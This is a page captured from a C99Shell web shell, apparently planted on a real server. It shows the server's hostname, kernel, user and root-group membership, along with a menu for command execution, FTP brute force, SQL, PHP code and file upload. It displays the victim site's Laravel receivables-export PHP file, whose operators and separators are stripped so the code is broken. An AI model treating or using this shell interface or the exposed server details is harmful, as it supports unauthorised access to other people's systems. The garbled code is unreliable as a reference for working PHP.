!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Exports/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReceivableExport.php (4.34 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Exports;

use 
Maatwebsite\Excel\Concerns\FromArray;
use 
Maatwebsite\Excel\Concerns\WithHeadings;
use 
App\Models\Revenue;
use 
App\Models\BillProduct;
use 
App\Models\Customer;
use 
App\Models\BillAccount;
use 
App\Models\InvoiceProduct;
use 
App\Models\JournalItem;
use 
App\Models\Payment;
use 
Maatwebsite\Excel\Concerns\WithStyles;
use 
PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
use 
Maatwebsite\Excel\Concerns\WithColumnWidths;
use 
Maatwebsite\Excel\Concerns\WithCustomStartCell;
use 
Maatwebsite\Excel\Concerns\WithEvents;
use 
Maatwebsite\Excel\Events\AfterSheet;

class 
ReceivableExport implements  FromArray WithHeadings WithStylesWithCustomStartCellWithColumnWidthsWithEvents
{
    
/**
    * @return \Illuminate\Support\Collection
    */
    
public function __construct($data $startDate$endDate$companyName)
    {
        
$formattedData = [];
        
$total 0;
        
        foreach(
$data as $invoice)
        {
            
$invoiceBalance $invoice['total_price'] - $invoice['pay_price'];
            
$balance $invoiceBalance $invoice['credit_price'];
            
$total += $balance;
            
            
$formattedData[] = [
                
'Customer Name'         => $invoice['name'],
                
'Invoice Balance'       => $invoiceBalance,
                
'Available Credits'     => !empty($invoice['credit_price']) ? $invoice['credit_price'] : 0,
                
'Balance'               => $balance,
            ];

        }
        if(
$formattedData != [])
        {
            
$formattedData[] = [
                
'Customer Name'         => 'Total',
                
'Invoice Balance'       => '',
                
'Available Credits'     => '',
                
'Balance'               => $total,
            ];
        }
        
        
$this->data         $formattedData;
        
$this->startDate    $startDate;
        
$this->endDate      $endDate;
        
$this->companyName  $companyName;
    }

    public function 
startCell(): string
    
{
        return 
'A6';
    }

    public function 
columnWidths(): array
    {
        return [
            
'A' => 30,
            
'B' => 20,
            
'C' => 20,
            
'D' => 20,
        ];
    }

    public function 
styles(Worksheet $sheet)
    {
        
$sheet->getStyle('A6')->getFont()->setBold(true);
        
$sheet->getStyle('B6')->getFont()->setBold(true);
        
$sheet->getStyle('C6')->getFont()->setBold(true);
        
$sheet->getStyle('D6')->getFont()->setBold(true);

    }

    public function array(): array
    {
        return 
$this->data;
    }
    

    public function 
headings(): array
    {

            return [
                
"Customer Name",
                
"Invoice Balance",
                
"Available Credits",
                
"Balance",
            ];
    }

    public function 
registerEvents(): array
    {
        return [
            
AfterSheet::class => function (AfterSheet $event) {

                
$event->sheet->getDelegate()->mergeCells('A2:D2');
                
$event->sheet->getDelegate()->mergeCells('A3:D3');
                
$event->sheet->getDelegate()->mergeCells('A4:D4');

                
$event->sheet->getDelegate()->setCellValue('A2''Receivable Report ' .' - ' $this->companyName)->getStyle('A2')->getFont()->setBold(true);
                
$event->sheet->getDelegate()->setCellValue('A3''Print Out Date : ' date('Y-m-d H:i'));
                
$event->sheet->getDelegate()->setCellValue('A4''Date : ' $this->startDate ' - ' $this->endDate);

                
$startRow 2;
                
$lastRow $event->sheet->getHighestRow();

                
$event->sheet->getStyle('A' $startRow ':Z' $lastRow)->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);


                
$data $this->data;
                foreach (
$data as $index => $row) {
                    if (isset(
$row['Customer Name']) && ($row['Customer Name'] == 'Total')) {
                        
$rowIndex $index 7// Adjust for 1-based indexing and header row
                        
$event->sheet->getStyle('A' $rowIndex ':D' $rowIndex)
                            ->
applyFromArray([
                                
'font' => [
                                    
'bold' => true,
                                ],
                            ]);
                    }
                }
            },
        ];
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--